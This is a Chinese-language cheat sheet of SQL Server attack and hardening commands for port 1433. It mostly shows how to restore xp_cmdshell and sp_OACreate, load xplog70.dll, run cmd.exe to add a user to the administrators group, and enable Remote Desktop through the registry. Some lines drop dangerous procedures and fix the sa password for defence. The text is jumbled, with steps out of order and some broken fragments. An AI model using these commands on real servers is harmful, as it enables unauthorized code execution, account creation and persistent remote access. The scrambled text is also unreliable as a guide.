1433常用解封语句

exec sp_addextendedproc sp_OACreate,'odsole70.dll'
直接添加帐户命令：
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod
@shell,'run',null,'c:\windows\system32\cmd.exe /c net user 用户名 密码 /add'
exec master..sp_dropextendedproc xp_readwebtask
exec master..sp_dropextendedproc xp_makewebtask
exec master..sp_dropextendedproc xp_regremovemultistring
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
exec sp_addextendedproc sp_OAStop,'odsole70.dll'
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll'
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
exec sp_addextendedproc sp_OACreate,'odsole70.dll'
exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
exec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
exec sp_addextendedproc xp_regdeletevalue,'xpstar.dll'
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
2.无法装载DLL xpsql70.dll或该DLL所引用的某一DLL。原因126(找不到指定模块。)
sp_dropextendedproc "xp_cmdshell"
sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
exec master..sp_dropextendedproc xp_terminate_process
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
exec master..sp_dropextendedproc xp_regaddmultistring
exec master..sp_dropextendedproc sp_OACreate
DROP PROCEDURE sp_addextendedproc
2.删除xp_cmdshell扩展：sp_dropextendedproc 'xp_cmdshell'
3.修补sa弱口令：exec sp_password NULL,'新密码','sa'
1.删除所有危险扩展：
DROP PROCEDURE sp_makewebtask
exec master..sp_dropextendedproc xp_cmdshell
exec master..sp_dropextendedproc xp_dirtree
exec master..sp_dropextendedproc xp_fileexist
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
exec sp_addextendedproc xp_regread,'xpstar.dll'
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
sysobjectswhere xtype='x' and name='xp_cmdshell'
否则上传xplog7.0.dll：
exec master.dbo.addextendedproc 'xp_cmdshell','c:\winnt\system32\xplog70.dll'
***************************************以下为防范时用********************************************
return (0) -- sp_addextendedproc
GO
恢复存储过程'master..xpcmdshell'：
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
卸载存储过程xp_cmdshell：
恢复
dbcc addextendedproc ("sp_oacreate","odsole70.dll")
dbcc addextendedproc ("xp_cmdshell","xplog70.dll")
1.未能找到存储过程'master..xpcmdshell'之解决方法：
EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe/c net localgroup administrators 用户名 /add'
as
set implicit_transactions off
if @@trancount > 0
begin
raiserror(15002,-1,-1,'sp_addextendedproc')
return (1)
end
dbcc addextendedproc( @functname, @dllname)
exec master..sp_dropextendedproc xp_regdeletekey
exec master..sp_dropextendedproc xp_regdeletevalue
exec master..sp_dropextendedproc xp_regenumkeys
exec master..sp_dropextendedproc xp_regenumvalues
5.恢复时一些常用的SQL语句：
利用sp_addextendedproc恢复大部分常用存储扩展(得先利用最顶上的语句恢复自己)：
use master
exec sp_addextendedproc xp_cmdshell,'xp_cmdshell.dll'
exec sp_addextendedproc xp_dirtree,'xpstar.dll'
开启3389
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 0 /f
exec sp_addextendedproc xp_regwrite,'xpstar.dll'
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'
恢复cmdshell：exec sp_addextendedproc xp_cmdshell ,@dllname ='xplog70.dll'
判断存储扩展是否存在(返回结果为1就ok)：
select count(*) from master.dbo.sysobjects where xtype='x' and name='xp_cmdshell'
恢复xp_cmdshell(返回结果为1就ok)：
exec master.dbo.addextendedproc 'xp_cmdshell','xplog70.dll';select count(*) from master.dbo.
4.直接添加帐户法
删除odsole70.dll：
exec master..sp_dropextendedproc sp_oamethod
exec master..sp_dropextendedproc sp_oacreate
恢复odsole70.dll：
exec sp_addextendedproc sp_OAMethod,'odsole70.dll'
sp_dropext39;
xp_cmdshell新的恢复办法(不用去管sp_addextendedproc是不是存在)
删除
drop procedure sp_addextendedproc
drop procedure sp_oacreate
exec sp_dropextendedproc 'xp_cmdshell'
exec sp_addextendedproc sp_OADestroy,'odsole70.dll'
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
exec sp_addextendedproc sp_OAGetProperty,'odsole70.dll'
exec sp_addextendedproc xp_enumgroups,'xplog70.dll'
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
exec sp_addextendedproc xp_loginconfig,'xplog70.dll'
恢复sp_addextendedproc语句：
create procedure sp_addextendedproc --- 1996/08/30 20:13
@functname nvarchar(517),/* (owner.)name of function to call */
@dllname varchar(255)/* name of DLL containing function */
3.无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)
exec sp_dropextendedproc 'xp_cmdshell'
exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'
exec master..sp_dropextendedproc sp_add_job
exec master..sp_dropextendedproc sp_addtask
exec master..sp_dropextendedproc xp_regread
exec master..sp_dropextendedproc xp_regwrite
